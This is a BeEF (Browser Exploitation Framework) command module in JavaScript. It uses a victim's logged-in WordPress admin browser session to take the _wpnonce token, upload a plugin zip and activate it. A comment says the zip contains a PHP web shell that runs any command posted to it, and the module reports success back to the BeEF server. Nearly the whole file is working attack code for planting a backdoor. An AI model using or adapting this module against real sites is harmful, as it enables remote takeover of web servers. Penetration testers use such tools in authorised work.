//
// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//


beef.execute(function() {
  var wordpress_url = '<%= @wordpress_url %>';
  var admin_directory = '/wp-admin';

  log = function(data){
    beef.net.send("<%= @command_url %>", <%= @command_id %>, data);
    beef.debug(data);
  };

  getwpnonce = function(uri){
    var xhr = new XMLHttpRequest();
    xhr.open("GET", uri + '/plugin-install.php?tab=upload');
    xhr.onload=function() {
      var res = /name="_wpnonce"\svalue=\"[a-z0-9]{10}\"/.exec(xhr.responseText);
        if (res.length == 1) {
          nonce = /[a-z0-9]{10}/.exec(res[0]);
          //continue only if we have extracted a nonce => upload the plugin
          uploadBeefBindPhp(uri, nonce);
        }
        else {
          log('Couldn\'t extract _wpnonce');
	}
    }
    xhr.send();
  }

  uploadBeefBindPhp = function (uri, nonce){
    var xhr = new XMLHttpRequest();
    // for WebKit-based browsers
    if (!XMLHttpRequest.prototype.sendAsBinary) {
      XMLHttpRequest.prototype.sendAsBinary = function (sData) {
        var nBytes = sData.length, ui8Data = new Uint8Array(nBytes);
        for (var nIdx = 0; nIdx < nBytes; nIdx++) {
           ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff;
        }
        /* send as ArrayBufferView...: */
        this.send(ui8Data);
      };
    }
    xhr.open("POST", uri + '/update.php?action=upload-plugin',true);
    boundary = "BEEFBEEF";
    xhr.setRequestHeader("Content-Type","multipart/form-data; boundary=" + boundary );
    // zip contains beefbind.php: <?php header("Access-Control-Allow-Origin: *"); echo @system($_POST['cmd']); ?>
    post_data = "--" + boundary + "\r\n";
    post_data += "Content-Disposition: form-data; name=\"_wpnonce\"\r\n";
    post_data += "\r\n";
    post_data += nonce + "\r\n";
    post_data += "--" + boundary + "\r\n";
    post_data += "Content-Disposition: form-data; name=\"_wp_http_referer\"\r\n";
    post_data += "\r\n" + uri + "/plugin-install.php?tab=upload\r\n";
    post_data += "--" + boundary + "\r\n";
    post_data += "Content-Disposition: form-data; name=\"pluginzip\";\r\n";
    post_data += "filename=\"beefbind.zip\"\r\n";
    post_data += "Content-Type: application/octet-stream\r\n";
    post_data += "\r\n";
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    post_data += "\r\n";
    post_data += "--" + boundary + "--\r\n"

    xhr.sendAsBinary(post_data);
    xhr.onload=function() {
      //extract the nonce for activating the plugin
      var res = /plugin=beefbind.*_wpnonce=[a-z0-9]{10}/.exec(xhr.responseText);

      //activate plugin only if there is a nonce
      if (res.length == 1) {
        nonce = /[a-z0-9]{10}/.exec(res[0]);
        activatePlugin(uri,nonce);
      }
      else {
        log('Cannot activate plugin, no activation nonce available.');
      }
    }
  }

  activatePlugin = function(uri,nonce){
    var xhr = new XMLHttpRequest();
    xhr.open("GET", uri + '/plugins.php?action=activate&plugin=beefbind/beefbind.php&_wpnonce=' + nonce);
    xhr.onload=function() {
      log('BeEF bind plugin has been uploaded and activated');
    }
    xhr.send();
  } 

  //get the wordpress nonce first, then upload the plugin and finally activate the plugin
  getwpnonce(wordpress_url + admin_directory); 

});

